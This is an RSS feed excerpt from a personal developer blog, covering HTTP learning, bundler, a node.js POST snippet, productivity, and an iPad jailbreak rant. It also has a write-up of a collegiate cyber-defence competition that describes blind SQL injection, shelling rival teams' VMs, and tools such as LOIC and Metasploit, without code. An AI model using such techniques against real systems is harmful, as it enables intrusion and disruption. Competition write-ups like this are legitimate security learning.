  <li>Read <a href="http://shop.oreilly.com/product/9781565925090.do" title="HTTP: The Definitive Guide">a good</a> <a href="http://shop.oreilly.com/product/9781565928626.do" title="HTTP Pocket Reference">book</a> on HTTP.</li>
  <li>Read the <a href="http://www.w3.org/Protocols/rfc2616/rfc2616.html">HTTP RFC</a>.</li>
  <li><a href="https://en.wikibooks.org/wiki/Communication_Networks/HTTP_Protocol">Wikibooks</a> and <a href="http://en.wikipedia.org/wiki/Http">Wikipedia</a> entries on HTTP are quite good.</li>
  <li>Use the network tab in Webkit Inspector/Firebug. And understand each of the damn headers.</li>
  <li>Start using <code class="language-plaintext highlighter-rouge">curl -i</code>, if you don’t already</li>
  <li>Above all, be curious</li>
</ul>

<p>Question the web.</p>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Shift to bundler 1.1 (Ruby)]]></title>
            <link>https://captnemo.in/blog/2012/02/23/shift-to-bundler-1.1/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2012/02/23/shift-to-bundler-1.1/</guid>
            <pubDate>Thu, 23 Feb 2012 00:00:00 GMT</pubDate>
            <description><![CDATA[In case someone out there is still stuck with bundler 1.0, and hates seeing the Fetching source index for http://rubygems.org/. screen, please update to bundler 1.1.
The following command should do the trick:

gem install bundler --pre


Bundler 1.1 is faster by a huge margin in comparision to 1.0.
References
http://patshaughnessy.net/2011/10/14/why-bundler-1-1-will-be-much-faster
http://robots.thoughtbot.com/post/2729333530/fetching-source-index-for-http-rubygems-org]]></description>
            <content:encoded><![CDATA[<p>In case someone out there is still stuck with bundler <code class="language-plaintext highlighter-rouge">1.0</code>, and hates seeing the <code class="language-plaintext highlighter-rouge">Fetching source index for http://rubygems.org/.</code> screen, please update to <code class="language-plaintext highlighter-rouge">bundler 1.1</code>.</p>

<p>The following command should do the trick:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gem install bundler --pre
</code></pre></div></div>

<p>Bundler 1.1 is faster by a huge margin in comparision to 1.0.</p>

<h3 id="references">References</h3>

<ul>
  <li><a href="http://patshaughnessy.net/2011/10/14/why-bundler-1-1-will-be-much-faster">http://patshaughnessy.net/2011/10/14/why-bundler-1-1-will-be-much-faster</a></li>
  <li><a href="http://robots.thoughtbot.com/post/2729333530/fetching-source-index-for-http-rubygems-org">http://robots.thoughtbot.com/post/2729333530/fetching-source-index-for-http-rubygems-org</a></li>
</ul>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Making post requests with 'request' module in node.js]]></title>
            <link>https://captnemo.in/blog/2012/02/22/make-post-request-with-requests-node.js/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2012/02/22/make-post-request-with-requests-node.js/</guid>
            <pubDate>Wed, 22 Feb 2012 00:00:00 GMT</pubDate>
            <description><![CDATA[Was stuck at this for quite some time:
var postData={
	a:1,
	b:2
};
require('request').post({
	uri:"http://example.com/test",
	headers:{'content-type': 'application/x-www-form-urlencoded'},
	body:require('querystring').stringify(postData)
	},function(err,res,body){
		console.log(body);
		console.log(res.statusCode);
});


This will make a post request to http://example.com/test with the querystring parameters in postData. Meaning if you are using PHP, you can see the variables in $_POST instead of parsing request body.
References:
https://gist.github.com/1360979
https://github.com/mikeal/request]]></description>
            <content:encoded><![CDATA[<p>Was stuck at this for quite some time:</p>

<figure class="highlight"><pre><code class="language-javascript" data-lang="javascript"><span class="kd">var</span> <span class="nx">postData</span><span class="o">=</span><span class="p">{</span>
	<span class="na">a</span><span class="p">:</span><span class="mi">1</span><span class="p">,</span>
	<span class="na">b</span><span class="p">:</span><span class="mi">2</span>
<span class="p">};</span>
<span class="nf">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">request</span><span class="dl">'</span><span class="p">).</span><span class="nf">post</span><span class="p">({</span>
	<span class="na">uri</span><span class="p">:</span><span class="dl">"</span><span class="s2">http://example.com/test</span><span class="dl">"</span><span class="p">,</span>
	<span class="na">headers</span><span class="p">:{</span><span class="dl">'</span><span class="s1">content-type</span><span class="dl">'</span><span class="p">:</span> <span class="dl">'</span><span class="s1">application/x-www-form-urlencoded</span><span class="dl">'</span><span class="p">},</span>
	<span class="na">body</span><span class="p">:</span><span class="nf">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">querystring</span><span class="dl">'</span><span class="p">).</span><span class="nf">stringify</span><span class="p">(</span><span class="nx">postData</span><span class="p">)</span>
	<span class="p">},</span><span class="kd">function</span><span class="p">(</span><span class="nx">err</span><span class="p">,</span><span class="nx">res</span><span class="p">,</span><span class="nx">body</span><span class="p">){</span>
		<span class="nx">console</span><span class="p">.</span><span class="nf">log</span><span class="p">(</span><span class="nx">body</span><span class="p">);</span>
		<span class="nx">console</span><span class="p">.</span><span class="nf">log</span><span class="p">(</span><span class="nx">res</span><span class="p">.</span><span class="nx">statusCode</span><span class="p">);</span>
<span class="p">});</span></code></pre></figure>

<p>This will make a post request to <code class="language-plaintext highlighter-rouge">http://example.com/test</code> with the querystring parameters in postData. Meaning if you are using PHP, you can see the variables in <code class="language-plaintext highlighter-rouge">$_POST</code> instead of parsing request body.</p>

<p>References:</p>

<ul>
  <li><a href="https://gist.github.com/1360979">https://gist.github.com/1360979</a></li>
  <li><a href="https://github.com/mikeal/request">https://github.com/mikeal/request</a></li>
</ul>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[The only way I can work any longer]]></title>
            <link>https://captnemo.in/blog/2012/02/18/the-only-way-i-can-work/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2012/02/18/the-only-way-i-can-work/</guid>
            <pubDate>Sat, 18 Feb 2012 00:00:00 GMT</pubDate>
            <description><![CDATA[Being a good programmer is 3% talent and 97% not getting distracted by the Internet.
Firstly, a frank admission.
I procastinate.
For every second I spend in front of my computer, trying to get some work done, there is a continous struggle going on between my “work” and “play” side of things. Unfortunately, the “play” side seems to be winning. A lot. So I decided to wage a war against it.
Here is my arsenal of tools:
get-shit-done - Script blocks all access to various sites(FB,reddit etc)
Chrome Profiles - One of my profiles is called “get-shit-done”. It features my development extensions, apps, bookmarks, and nothing else. It is plain vanilla Chromium with no puffy unicorns luring me to check my Facebook Notifications.

  
Music - I find Youtube a surprising good source of music discovery. I listen to almost everything. Recently, I’ve started to listen to Ludovico Einaudi. You may also like http://musicforprogramming.net/ in this regard.
Minimal Tabs - I close a tab as soon as I’m done with it. This leads to ~3-5 tabs in my “get-shit-done” setup. A lesser number of tabs usually means a limit on the number of distracting links. Even Stackoverflow doesn’t help in this regard.
The get-shit-done profile even has settings to clear cache at closings. This leads to me being signed out of everything. Including GMail, Facebook, SO, and everything else. In this mode, I login to something, if it is essential to the work at hand.
Read It Later - I’ve setup all Hacker News feeds above 20 points to be saved automatically to my Read It Later account, which I can easily consume on my iPad at my leisure. However, I find myself itching to browse hckrnews every 5 minutes.
If you find yourself browsing facebook, reddit, youtube, hacker news, or reading blog posts on productivity, I urge you strongly to try this out. Defeating procastination is not easy. And its never a win-or-lose battle. What are your thoughts? How do you stop yourself from getting lost on the internetz? Tell me in comments.]]></description>
            <content:encoded><![CDATA[<blockquote>
  <p>Being a good programmer is 3% talent and 97% not getting distracted by the Internet.</p>
</blockquote>

<p>Firstly, a frank admission.</p>

<blockquote>
  <p>I procastinate.<br />
A lot.<br />
Seriously.</p>
</blockquote>

<p>For every second I spend in front of my computer, trying to get some work done, there is a continous struggle going on between my “work” and “play” side of things. Unfortunately, the “play” side seems to be winning. <strong>A lot</strong>. So I decided to wage a war against it.</p>

<p>Here is my arsenal of tools:</p>

<ul>
  <li><a href="https://github.com/leftnode/get-shit-done">get-shit-done</a> - Script blocks all access to various sites(FB,reddit etc)</li>
  <li><a href="http://support.google.com/chrome/bin/answer.py?hl=en&amp;answer=142059">Chrome Profiles</a> - One of my profiles is called “get-shit-done”. It features my development extensions, apps, bookmarks, and nothing else. It is plain vanilla Chromium with no puffy unicorns luring me to check my Facebook Notifications.<br />
<img src="http://i.imgur.com/f7B9C.jpg" alt="Chrome Profiles" /></li>
  <li>Music - I find Youtube a surprising good source of music discovery. I listen to almost everything. Recently, I’ve started to listen to <a href="http://www.youtube.com/watch?v=OB3wgiaOOvA">Ludovico Einaudi</a>. You may also like <a href="http://musicforprogramming.net/">http://musicforprogramming.net/</a> in this regard.</li>
  <li>Minimal Tabs - I close a tab as soon as I’m done with it. This leads to ~3-5 tabs in my “get-shit-done” setup. A lesser number of tabs usually means a limit on the number of distracting links. Even Stackoverflow doesn’t help in this regard.</li>
  <li>The get-shit-done profile even has settings to clear cache at closings. This leads to me being signed out of everything. Including GMail, Facebook, SO, and everything else. In this mode, I login to something, if it is essential to the work at hand.</li>
  <li><a href="http://www.readitlater.com/">Read It Later</a> - I’ve setup all <a href="http://hckrnews.com">Hacker News</a> feeds above 20 points to be saved automatically to my Read It Later account, which I can easily consume on my iPad at my leisure. However, I find myself itching to browse hckrnews every 5 minutes.</li>
</ul>

<p>If you find yourself browsing facebook, reddit, youtube, hacker news, or reading blog posts on productivity, I urge you strongly to try this out. Defeating procastination is not easy. And its never a win-or-lose battle. What are your thoughts? How do you stop yourself from getting lost on the internetz? Tell me in comments.</p>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Things I love about Github]]></title>
            <link>https://captnemo.in/blog/2012/02/02/on-github/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2012/02/02/on-github/</guid>
            <pubDate>Thu, 02 Feb 2012 00:00:00 GMT</pubDate>
            <description><![CDATA[A slide from GitHub’s famous “How Github uses Github to build Github talk”:


In their recent version of the talk at RubyConf 2011, they changed the slide slightly:

It now reads, “No Pings” instead of “No Managers”.
Not nitpicking, just paying attention.
If you haven’t seen the talk (or just saw the slideshow), you should go and watch the talk (31 mins) Right Now]]></description>
            <content:encoded><![CDATA[<p>A slide from GitHub’s famous “How Github uses Github to build Github talk”:</p>



<p>In their recent version of the talk at RubyConf 2011, they changed the slide slightly:</p>

<p><img src="https://captnemo.in/img/rubyconf-github.png" alt="No pings" /></p>

<p>It now reads, “No Pings” instead of “No Managers”.</p>

<p>Not nitpicking, just paying attention.</p>

<p>If you haven’t seen the talk (or just saw the slideshow), you should go and watch the talk (31 mins) <a href="https://confreaks.tv/videos/rubymidwest2011-how-github-uses-github-to-build-github">Right Now</a></p>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Choose Between Facebook Groups and Pages]]></title>
            <link>https://captnemo.in/blog/2012/01/26/facebook-choose-group-vs-page/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2012/01/26/facebook-choose-group-vs-page/</guid>
            <pubDate>Thu, 26 Jan 2012 00:00:00 GMT</pubDate>
            <description><![CDATA[I don’t know how many times I’ve said this, but the best way of creating a multi-user discussion platform is to create a facebook page. A little guidelines on what you should use:
Create a group when you really need it (for <100 people) and when you want to have close knit discussions. (People get notifications for each post on the group) -> Leads to spamming
Never create a fake profile for an organization/event/celebrity/anything that is not you. Creating fake profiles is actually against Facebook’s TOS, and can lead to account discontinuation. Plus the barrier of friending a person (instead of “liking it) is higher enough to lead to lesser number of followers.
Create a Facebook Page for every other case. If you are a brand/news/startup/organization (public facing). This is usually the best choice, and it gives you the best outreach of all. (Especially if you want to reach out to People).
In short, just create a Page, unless you know what you are doing.]]></description>
            <content:encoded><![CDATA[<p>I don’t know how many times I’ve said this, but the best way of creating a multi-user discussion platform is to create a facebook page. A little guidelines on what you should use:</p>

<ol>
  <li>
    <p>Create a group when you really need it (for &lt;100 people) and when you want to have close knit discussions. (People get notifications for each post on the group) -&gt; Leads to spamming</p>
  </li>
  <li>
    <p>Never create a fake profile for an organization/event/celebrity/anything that is not you. Creating fake profiles is actually against Facebook’s TOS, and can lead to account discontinuation. Plus the barrier of friending a person (instead of “liking it) is higher enough to lead to lesser number of followers.</p>
  </li>
  <li>
    <p>Create a Facebook Page for every other case. If you are a brand/news/startup/organization (public facing). This is usually the best choice, and it gives you the best outreach of all. (Especially if you want to reach out to People).</p>
  </li>
</ol>

<p>In short, just create a Page, unless you know what you are doing.</p>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Google, Fix your Google+ API]]></title>
            <link>https://captnemo.in/blog/2011/12/06/google-plus-api-fixit/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2011/12/06/google-plus-api-fixit/</guid>
            <pubDate>Tue, 06 Dec 2011 00:00:00 GMT</pubDate>
            <description><![CDATA[Dear Google,
Please release the Google+ write API as well. In case you’ve forgotten, its been 6 months since you launched. I’ve got stuff I wanna post, stuff I wanna develop. Please keep to your promises, and don’t make me quote Steve Yegge.
Also, while you are at it, please fix this issue and make the list of +1d url’s available.
Thanks,
A frustrated developer and Google+ user.]]></description>
            <content:encoded><![CDATA[<p>Dear Google,</p>

<p>Please release the Google+ write API as well. In case you’ve forgotten, its been 6 months since you launched. I’ve got stuff I wanna post, stuff I wanna develop. Please keep to your promises, and don’t make me quote Steve Yegge.</p>

<p>Also, while you are at it, please fix <a href="http://code.google.com/p/google-plus-platform/issues/detail?id=83">this issue</a> and make the list of +1d url’s available.</p>

<p>Thanks,
A frustrated developer and Google+ user.</p>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Someone jailbreak my iPad]]></title>
            <link>https://captnemo.in/blog/2011/12/05/someone-jailbreak-my-ipad/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2011/12/05/someone-jailbreak-my-ipad/</guid>
            <pubDate>Mon, 05 Dec 2011 00:00:00 GMT</pubDate>
            <description><![CDATA[This is a rant, mainly targeted at Apple. If you are a Apple fanboi, just go elsewhere
Please, and quickly. I can’t take another minute of this iTunes. It refuses to properly sync songs, does not update my songs tag info, unless I play them individually, and to top it all, my iPad gives out incorrect usage information about my apps. I tried adding them up, and it seems the total is way off. And since everything in thr Apple land lives happily inside the propertiery Apple File System, I cannot even check it realiabily. And don’t even get me started on the the application transfers. The file sharing system is so bad in iOS that almost evey other app comes built in with a wi-fi or ftp server. When alomst mevery app that deals with files starts ro do that, there is something definately wrong with your file system approach.
And why doesn’t my itunes recognize any video files at all. I was given a warning about needing QuickTime, and I installed it, but it still refuses to play them in iTunes, and doesn’t even give me an error string to hold on to.
Seriously, iTunes go back to the bloatware land that you came from. I’ll try my luck with something else from now on. And only if someone could give me the specs for the arcane plist format, I might write a PC version of the iBooks app. And calibre needs to fix up its pdf to epub approach. Inline styles are not used anymore, doesn’t it know already.
A few days later…
After spending a few more days with my iPad, I have developed a love/hate relationship wit it. I hate the ugly sync process, which still refuses to sync videos, telling me I have to delete everything to start sync. I love it for its ease of use, awesome touch, and aesthetics. I hate it for its lack of support, oepn sync protocols, and most of all Apple’s close mindedness regarding unsigned binaries.
Seriously Apple, if tablets are the computer of the future, treat them as auch. Let me treat it as a fully functional comouter, which lets me run whatever I want, with whatever privileges I want.
If Microsoft had tried to create such a walled garden of apps in Windows, would it have been so successful? Granted, people would love running apps from Windows 8 Marketplace, if only because it would keep their software updated. But Windows at least has a choice,to allow me to download a tiny binary from a small Windows Developer who does not want to pay MS just to let people use his/her apps.
An appstore is an excellent idea, executed brilliantly by Apple, but please follow MS and give us an official way to do whatever the hell I want to do with my iPad.
A few weeks later…
I really hate my iPad now, especially once I realise that my cheap Nokia cell phone has tether support, while my iPad does not.  To do any task that may require you access to a normal file system, such as cloning a repository from github, or editing an document anywhere is impossible in the device. I love playing games on it, though, but it seems like a really costly device to play games and read books on. Get the Fire at less than half the price, and root it to install cyanogen mod (which will soon be available for the Fire).
Sometimes, I wonder if Indian carriers would have installed Carrier IQ on an iPad (which comes without a SIM card). I’ll find out as soon as I can root it.
One of my friends gave a very serious comment on the iPad : “It seems as if you have rented the device from Apple, rather than bought it”. And I’ve come to realise that its a reflection of the sad state that the electronics manufacturing industry is in today.
A few more weeks later :
I jailbroke my iPad :)
Further links :
Kindle fire unroots itself
Fire doesnt allow you to visit android marketplace
Carrier IQ controversy
Nokia dumb phone features - X2-01
How I Jailbroke my iPad]]></description>
            <content:encoded><![CDATA[<blockquote>
  <p>This is a rant, mainly targeted at Apple. If you are a Apple fanboi, just <a href="https://daringfireball.net">go</a> <a href="https://www.eff.org/">elsewhere</a></p>
</blockquote>

<p>Please, and quickly. I can’t take another minute of this iTunes. It refuses to properly sync songs, does not update my songs tag info, unless I play them individually, and to top it all, my iPad gives out incorrect usage information about my apps. I tried adding them up, and it seems the total is way off. And since everything in thr Apple land lives happily inside the propertiery Apple File System, I cannot even check it realiabily. And don’t even get me started on the the application transfers. The file sharing system is so bad in iOS that almost evey other app comes built in with a wi-fi or ftp server. When alomst mevery app that deals with files starts ro do that, there is something definately wrong with your file system approach.</p>

<p>And why doesn’t my itunes recognize any video files at all. I was given a warning about needing QuickTime, and I installed it, but it still refuses to play them in iTunes, and doesn’t even give me an error string to hold on to.</p>

<p>Seriously, iTunes go back to the bloatware land that you came from. I’ll try my luck with something else from now on. And only if someone could give me the specs for the arcane plist format, I might write a PC version of the iBooks app. And calibre needs to fix up its pdf to epub approach. Inline styles are not used anymore, doesn’t it know already.</p>

<h3 id="a-few-days-later">A few days later…</h3>

<p>After spending a few more days with my iPad, I have developed a love/hate relationship wit it. I hate the ugly sync process, which still refuses to sync videos, telling me I have to delete everything to start sync. I love it for its ease of use, awesome touch, and aesthetics. I hate it for its lack of support, oepn sync protocols, and most of all Apple’s close mindedness regarding unsigned binaries.</p>

<p>Seriously Apple, if tablets are the computer of the future, treat them as auch. Let me treat it as a fully functional comouter, which lets me run whatever I want, with whatever privileges I want.</p>

<p>If Microsoft had tried to create such a walled garden of apps in Windows, would it have been so successful? Granted, people would love running apps from Windows 8 Marketplace, if only because it would keep their software updated. But Windows at least has a choice,to allow me to download a tiny binary from a small Windows Developer who does not want to pay MS just to let people use his/her apps.</p>

<p>An appstore is an excellent idea, executed brilliantly by Apple, but please follow MS and give us an official way to do whatever the hell I want to do with my iPad.</p>

<h3 id="a-few-weeks-later">A few weeks later…</h3>

<p>I really hate my iPad now, especially once I realise that my cheap Nokia cell phone has tether support, while my iPad does not.  To do any task that may require you access to a normal file system, such as cloning a repository from github, or editing an document anywhere is impossible in the device. I love playing games on it, though, but it seems like a really costly device to play games and read books on. Get the Fire at less than half the price, and root it to install cyanogen mod (which will soon be available for the Fire).</p>

<p>Sometimes, I wonder if Indian carriers would have installed Carrier IQ on an iPad (which comes without a SIM card). I’ll find out as soon as I can root it.</p>

<p>One of my friends gave a very serious comment on the iPad : “It seems as if you have rented the device from Apple, rather than bought it”. And I’ve come to realise that its a reflection of the sad state that the electronics manufacturing industry is in today.</p>

<h3 id="a-few-more-weeks-later-">A few more weeks later :</h3>

<p><strong>I jailbroke my iPad :)</strong></p>

<h2 id="further-links-">Further links :</h2>

<ul>
  <li><a href="http://gizmodo.com/5863640">Kindle fire unroots itself</a></li>
  <li><a href="http://www.theverge.com/2011/12/16/2642039/">Fire doesnt allow you to visit android marketplace</a></li>
  <li><a href="http://lifehacker.com/5863895/">Carrier IQ controversy</a></li>
  <li><a href="http://www.gsmarena.com/nokia_x2_01-3610.php">Nokia dumb phone features</a> - X2-01</li>
  <li>How <a href="http://cydiablog.com/category/jailbreak/">I Jailbroke my iPad</a></li>
</ul>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[My Experience with the Deloitte Cyber Collegiate Threat Competition (2011)]]></title>
            <link>https://captnemo.in/blog/2011/11/20/cctc-blog/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2011/11/20/cctc-blog/</guid>
            <pubDate>Sun, 20 Nov 2011 00:00:00 GMT</pubDate>
            <description><![CDATA[I recently was part of a team at IIT-Roorkee that won the Deloitte Cyber Collegiate Threat Competition. It was a competition modeled after The Deloitte sponsored CCDC in the US. The event will be organized in the subsequent years as well, and hence this blog post will summarize my experience so as to help any future participants. Moreover, the organizing team has guaranteed us that the competition will be altered significantly in the coming years. This was the first year that this event was organized, after all.
I’ll go into the contest round by round, so beginning with Round 1.
Round 1
Deloitte came to our campus, with little promotion about the event. A presentation was given on the current scenario of Cyber Threat, particularly with respect to India. Free swag was awarded to people who asked some good questions, or answered some as well. After the presentation, a quiz was goven out, consisting mainly of questions about Web Application Security. A few of the questions asked to write down code to circumvent a particular issue (like SQL Injection). But it was mostly about stuff that every security conscious Web Developer would know about.
After the quiz, they selected the top 9 candidates, and asked us to form teams. Make sure that you attend the quiz with your friends, as we definitely had an edge by knowing everyone in our team before the event. The number of teams varied from campus to campus. But if you perform decent enough, you will be selected.
Round 2
Each of the teams were given a VM Image, and we were asked to hack into it. We were not allowed to exploit vulnerabilities in the guest OS, or things like VMWare, or try to boot into the image with another OS, but other than that everything went.
The VM had a library application, with several vulnerabilities. A challenge sheet was mailed to us, and we were expected to finish as many challenges as we could. Any further vulnerabilities not mentioned in the challenge could also be mentioned, but theywere only to be used in the case of a tie with another team.
The time duration for Round 2 was 15 days and we were supposed to submit our reports by then. We were able to complete most of the challenges after we found a blind sql injection vulnerablity. Further, we were able to get a copy of the obsfucated PHP code, which we converted to simpler versions easily enough. We had no way to make use of the code, but it did help us in identifying possible files and entry routes for vulnerabilities.
To get a good score in round 2, try to attack every point in the application. In our case, some of them were too stupid to be used in a real case scenario. For instance, we had password hashes appearing in images. Pour through the javascript code, and search like hell. Stuff like w3af might help you, but since its a limited application only, it is often easier to just track the application flow. We did try kernel level exploites, but the VM was fully patched and up to date.
Round 3
Round 3 was organized at Hyderabad and was a head on hack everything contest. We were handed 3 virtual machines, with lots of vulnerable services. We had to keep those services running, which were periodically pinged by a scorebot. Scores were awarded in three categories : attack, defense, and flags.
Attack points were earned upon getting a shell on any of the other team’s servers.
Flag points of awardedon the basis of getting access to secrets stored inside the other team’s servers.
Defense points were earned on the basis of status of your own service.
The network architecture was 3 tiered. A single central router routed requests to a team’s router, which was then connected to an individual team switch. A switch was connected to the host VM, and the attack machines. Two different subnets were created for attack and defense in each team’s router. All uVMs were present in the attack subnets.
Day 1
Day 1 consisted mostly of us learning about the network and trying to gain access into the other systems. All the services were highly vulnerable, and as a result, we had to patch that vulnerability in our own servers before we attacked anyone with it. DoS attacks started late in theday, but were ever present.
The VMs handed t us included a Windows Server 2003, a debian, and an Ubuntu. Only open source/freeware tools were allowed, and we used lots of stuff including :
Backtrack for almost everything since attack laptops given to us had Windows installed
LOIC for DoS attacks
Wireshark for packet analysis.
Snort for intrusion detection.
NMap for scanning services
Metasploit for trying out exploits
Cain and Abel for miscellaneous stuff
Day 2
Day 2 involves lots of pwning,and a surprise twist. All VMs for day 1 had been reset to their current state, and we had to do patch them all over again in first fifteen minutes of the session. Other than that, the increase in traffic was exponential. All our machines were scanned tonell. DoS attacks became normal, and the epic moment of the day was during the last session when we had our router pwned.
Pics from the Event are at Facebook.
Conclusion
Kudos to the Deloitte Team for organizing such a brilliant contest. We had lots of fun. They have assured us that next year it will be even bigger and better. And that the format will be entirely Different. Ext hear so this blog post might not be as helping as you may have thought.]]></description>
            <content:encoded><![CDATA[<p>I recently was part of a team at IIT-Roorkee that won the Deloitte Cyber Collegiate Threat Competition. It was a competition modeled after The Deloitte sponsored CCDC in the US. The event will be organized in the subsequent years as well, and hence this blog post will summarize my experience so as to help any future participants. Moreover, the organizing team has guaranteed us that the competition will be altered significantly in the coming years. This was the first year that this event was organized, after all.</p>

<p>I’ll go into the contest round by round, so beginning with Round 1.</p>

<h1 id="round-1">Round 1</h1>
<p>Deloitte came to our campus, with little promotion about the event. A presentation was given on the current scenario of Cyber Threat, particularly with respect to India. Free swag was awarded to people who asked some good questions, or answered some as well. After the presentation, a quiz was goven out, consisting mainly of questions about Web Application Security. A few of the questions asked to write down code to circumvent a particular issue (like SQL Injection). But it was mostly about stuff that every security conscious Web Developer would know about.</p>

<p>After the quiz, they selected the top 9 candidates, and asked us to form teams. Make sure that you attend the quiz with your friends, as we definitely had an edge by knowing everyone in our team before the event. The number of teams varied from campus to campus. But if you perform decent enough, you will be selected.</p>

<h1 id="round-2">Round 2</h1>
<p>Each of the teams were given a VM Image, and we were asked to hack into it. We were not allowed to exploit vulnerabilities in the guest OS, or things like VMWare, or try to boot into the image with another OS, but other than that everything went.</p>

<p>The VM had a library application, with several vulnerabilities. A challenge sheet was mailed to us, and we were expected to finish as many challenges as we could. Any further vulnerabilities not mentioned in the challenge could also be mentioned, but theywere only to be used in the case of a tie with another team.</p>

<p>The time duration for Round 2 was 15 days and we were supposed to submit our reports by then. We were able to complete most of the challenges after we found a blind sql injection vulnerablity. Further, we were able to get a copy of the obsfucated PHP code, which we converted to simpler versions easily enough. We had no way to make use of the code, but it did help us in identifying possible files and entry routes for vulnerabilities.</p>

<p>To get a good score in round 2, try to attack every point in the application. In our case, some of them were too stupid to be used in a real case scenario. For instance, we had password hashes appearing in images. Pour through the javascript code, and search like hell. Stuff like w3af might help you, but since its a limited application only, it is often easier to just track the application flow. We did try kernel level exploites, but the VM was fully patched and up to date.</p>

<h1 id="round-3">Round 3</h1>

<p>Round 3 was organized at Hyderabad and was a head on hack everything contest. We were handed 3 virtual machines, with lots of vulnerable services. We had to keep those services running, which were periodically pinged by a scorebot. Scores were awarded in three categories : attack, defense, and flags.</p>

<p>Attack points were earned upon getting a shell on any of the other team’s servers.</p>

<p>Flag points of awardedon the basis of getting access to secrets stored inside the other team’s servers.</p>

<p>Defense points were earned on the basis of status of your own service.</p>

<p>The network architecture was 3 tiered. A single central router routed requests to a team’s router, which was then connected to an individual team switch. A switch was connected to the host VM, and the attack machines. Two different subnets were created for attack and defense in each team’s router. All uVMs were present in the attack subnets.</p>

<h2 id="day-1">Day 1</h2>
<p>Day 1 consisted mostly of us learning about the network and trying to gain access into the other systems. All the services were highly vulnerable, and as a result, we had to patch that vulnerability in our own servers before we attacked anyone with it. DoS attacks started late in theday, but were ever present.</p>

<p>The VMs handed t us included a Windows Server 2003, a debian, and an Ubuntu. Only open source/freeware tools were allowed, and we used lots of stuff including :</p>

<ul>
  <li>Backtrack for almost everything since attack laptops given to us had Windows installed</li>
  <li>LOIC for DoS attacks</li>
  <li>Wireshark for packet analysis.</li>
  <li>Snort for intrusion detection.</li>
  <li>NMap for scanning services</li>
  <li>Metasploit for trying out exploits</li>
  <li>Cain and Abel for miscellaneous stuff</li>
</ul>

<h2 id="day-2">Day 2</h2>
<p>Day 2 involves lots of pwning,and a surprise twist. All VMs for day 1 had been reset to their current state, and we had to do patch them all over again in first fifteen minutes of the session. Other than that, the increase in traffic was exponential. All our machines were scanned tonell. DoS attacks became normal, and the epic moment of the day was during the last session when we had our router pwned.</p>

<p>Pics from the Event are at <a href="https://www.facebook.com/media/set/?set=a.2204003219759.2107008.1237711792">Facebook</a>.</p>

<h1 id="conclusion">Conclusion</h1>

<p>Kudos to the Deloitte Team for organizing such a brilliant contest. We had lots of fun. They have assured us that next year it will be even bigger and better. And that the format will be entirely Different. Ext hear so this blog post might not be as helping as you may have thought.</p>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Github +1 URLs]]></title>
            <link>https://captnemo.in/blog/2011/10/17/github-projects-to-follow/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2011/10/17/github-projects-to-follow/</guid>
            <pubDate>Mon, 17 Oct 2011 00:00:00 GMT</pubDate>
            <description><![CDATA[I was working on the Google +1 Listing API (undocumented). So here’s a list of my current +1 urls on github.com. Most of the projects pertain to web-designing. I’ll update this list automatically every week or so, provided I remember to/set a cron job.
jayferd/color.js
          
color.js - The missing color library
typicaljoe/taffydb
          
taffydb - TaffyDB - an open source JavaScript Database for your browser
antirez/lamernews
          
lamernews - Lamer News -- an HN style social news site written in Ruby/Sinatra/Redis/JQuery
felixge/node-mysql
          
node-mysql - A pure node.js JavaScript Client implementing the MySql protocol.
daneden/animate.css
          
animate.css - A big ol' goody bag filled with CSS animations for WebKit, Firefox and beyond.
javve/list
          
Do you want a 7 KB cross-browser native JavaScript that makes your plain HTML lists super flexible, searchable, sortable and filterable? Yea
azer/jekyll-social-activities
          
jekyll-social-activities - a jekyll project template to list social network activities
e1ven/Robohash
          
Robohash - RoboHash.org
donpark/node-robohash
          
node-robohash - node.js implementation of Robohash. It's neither complete nor render general SVG.
lg/marshmallow
          
marshmallow - An open source Campfire server
tmcw/big
          
big - presentations for busy messy hackers
All of the Hooks
          
Service Hooks are available for more events (issues, pull requests, forks, etc). Update them through the API!
chromakode/karmabot
          
karmabot - A highly extensible IRC karma+information bot written in Python.
moserware/PHPSkills
          
PHPSkills - An implementation of the TrueSkill algorithm in PHP
nodejitsu/docs
          
docs - Community powered rocket fuel for node.js
spin.js
          
An animated CSS activity indicator with VML fallback.
Alice.js Demos
          
Alice.js Demos. Alice.js (A Lightweight Independent CSS Engine) is a micro JavaScript library focused on using hardware-accelerated capabili
tcorral/Design-Patterns-in-Javascript
          
Design-Patterns-in-Javascript - Based in examples on Head First Design Patterns
atduskgreg/srender
          
srender - John Resig's Simple Javascript Templating turned into a jQuery Plugin
mrdavidlaing/functional-javascript
          
functional-javascript - A fun set of koans to teach you functional programming techniques in Javascript
mrdavidlaing/javascript-koans
          
javascript-koans - Koans to learn Javascript
robrighter/current
          
current - Node.js app for visualizing http requests on a lan
bcoe/endtable
          
endtable - A ridiculously simple Object Mapper for Node running on top of CouchDB.
sproutcore/sproutcore
          
sproutcore - JavaScript Application Framework - JS library only
tpope's Profile
          
tpope (Tim Pope). You're not logged in! Login; Pricing & Signup. Name: Tim Pope. Website/Blog: http://tpo.pe/. Company: Waiting on t
tpope/vim-fugitive
          
vim-fugitive - fugitive.vim: a Git wrapper so awesome, it should be illegal
github/gitignore
          
A collection of useful .gitignore templates
